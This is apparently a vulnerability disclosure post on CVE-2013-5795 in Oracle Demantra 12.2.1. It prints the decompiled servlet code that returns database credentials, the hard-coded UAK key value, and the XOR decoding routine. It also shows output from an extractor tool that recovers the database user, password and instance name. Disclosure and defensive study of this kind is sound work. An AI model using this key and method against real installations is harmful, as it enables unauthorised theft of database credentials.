The purpose of this post is to present a technical report of the CVE-2013-5795 vulnerability. This bug was found on a bug hunt weekend.
Oracle Demantra is a demand management, sales & operations planning, and trade promotions management solutions, which was acquired by Oracle in 2006. It was curious to note no previously vulnerabilities had been identified, which made this a very interesting candidate for research.
Vulnerable System:
- Oracle Demantra 12.2.1
Vulnerability Description:
Demantra has a backend function that allows an administrator to retrieve the database instance name and the corresponding credentials.
The URL endpoint for this functionality is located at:
- /demantra/ServerDetailsServlet
The initial function looks like this:
public void doGet(HttpServletRequest iRequest, HttpServletResponse ioResponse) throws ServletException, IOException {
PrintWriter outWriter = null;
String dbDetails = null;
String msg = null;
String uak = iRequest.getParameter("UAK");
if(Logger.isDebugEnabled("appserver.configuration")) MessagesService.getPlatformMassage(40688, new Object[] { getClass().getName(), (new StringBuilder()).append("UAK=").append(uak).toString() });
if(isValidUAK(uak)) {
dbDetails = getDBParams();
dbDetails = CryptographicService.encodeString(dbDetails);
msg = MessagesService.getPlatformMassage(20176, new Object[] { dbDetails });
if(Logger.isDebugEnabled("appserver.configuration")) Logger.log("appserver.configuration", msg);
if(dbDetails != null) {
outWriter = new PrintWriter(ioResponse.getOutputStream());
outWriter.print(dbDetails);
outWriter.flush();
outWriter.close();
} else {
ioResponse.sendError(500, msg);
}
} else {
ioResponse.sendError(403);
}
}
We can see that a URL parameter named UAK is required. If the UAK string is correct then the database parameters are read and encrypted.
The getDBParams function looks like this:
private String getDBParams() {
StringBuilder strBuilder = new StringBuilder();
String dbName = null;
String resStr = null;
String msg = null;
boolean isValid = true;
if(JDBCConnectionPool.DBTypeId == 1) dbName = "orc";
else dbName = CommonProp.DB_NAME;
if(CommonProp.DB_USER == null || CommonProp.DB_USER.length() == 0) {
isValid = false;
msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_USER });
Logger.warn(msg);
}
if(CommonProp.DB_PASSWORD == null || CommonProp.DB_PASSWORD.length() == 0) {
isValid = false;
msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_PASSWORD });
Logger.warn(msg);
}
if(CommonProp.TNS_NAME == null || CommonProp.TNS_NAME.length() == 0) {
isValid = false;
msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TNS_NAME });
Logger.warn(msg);
}
if(dbName == null || dbName.length() == 0) {
isValid = false;
msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_NAME });
Logger.warn(msg);
}
if(JDBCConnectionPool.DBTypeId < 1 || JDBCConnectionPool.DBTypeId > 2) {
isValid = false;
msg = translator.translate("com.demantra.applicationServer.servlets.ServerDetailsServlet_1", new Object[] { DB_TYPE });
Logger.warn(msg);
}
if(isValid) {
strBuilder.append(CommonProp.DB_USER);
strBuilder.append("?");
strBuilder.append(CommonProp.DB_PASSWORD);
strBuilder.append("?");
strBuilder.append(CommonProp.TNS_NAME);
strBuilder.append("?");
strBuilder.append(dbName);
strBuilder.append("?");
strBuilder.append(JDBCConnectionPool.DBTypeId);
resStr = strBuilder.toString();
}
return resStr;
}
Now we need to see how UAK is calculated. The necessary function can be found in the following file:
- WEB-INF/classes/com/demantra/applicationServer/metaDataObjects/user/SGEUser.class
Suprisingly, the UAK key is calculated statically:
private static String createJavaUAK() {
String uak = null;
try {
String encryptedPassword = new String(CryptographicService.encodeHashStringHex("er6Us8wB", "SHA-256"));
StringBuffer tmp = new StringBuffer("sge");
tmp.append(0);
tmp.append(encryptedPassword);
uak = new String(CryptographicService.encodeHashStringHex(tmp.toString(), "SHA-256"));
} catch(NoSuchAlgorithmException e) {
Logger.error(e);
}
return uak;
}
When calculated, the UAK string will always be:
- 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1
The last step is to analyze how the dbDetails parameter encrypts the data, so that we can decrypt it correctly. The function looks like this:
public static String decodeString(String text) {
if(text == null) return null;
String ret = null;
StringTokenizer strTokenizer = new StringTokenizer(text, ",");
int size = strTokenizer.countTokens();
byte bytes[] = new byte[size];
for(int counter = 0; strTokenizer.hasMoreTokens(); counter++) {
int a = Integer.parseInt(strTokenizer.nextToken());
a ^= 0x50;
bytes[counter] = (byte)a;
}
try {
ret = new String(bytes, "UTF-8");
} catch(Exception e) {
e.printStackTrace();
}
return ret;
}
As we can see the method used to secure the data is a simple XOR algorithm.
Armed with those information it is possible to create a simple database credentials extractor:
$ java getUAK -=[Oracle Demantra Database Details Retriever ]=- [+] UAK Key is: 406EDC5447A3A43551CDBA06535FB6A661F4DC1E56606915AC4E382D204B8DC1 [+] Retrieved the following encrypted string: 4,21,3,4,111,36,53,35,36,111,52,53,61,49,62,36,34,49,111,63,34,51,111,97, [+] Decrypted string is: TEST?test?demantra?orc?1
Together with the authentication bypass this can be exploited unauthenticated as well.
Impact:
A remote attacker could exploit this issue in combination with other found issues, to extract the database credentials and instance name as an unauthenticated user, otherwise authentication is required.
Recommendation:
Please see the Oracle CPU for remediation:


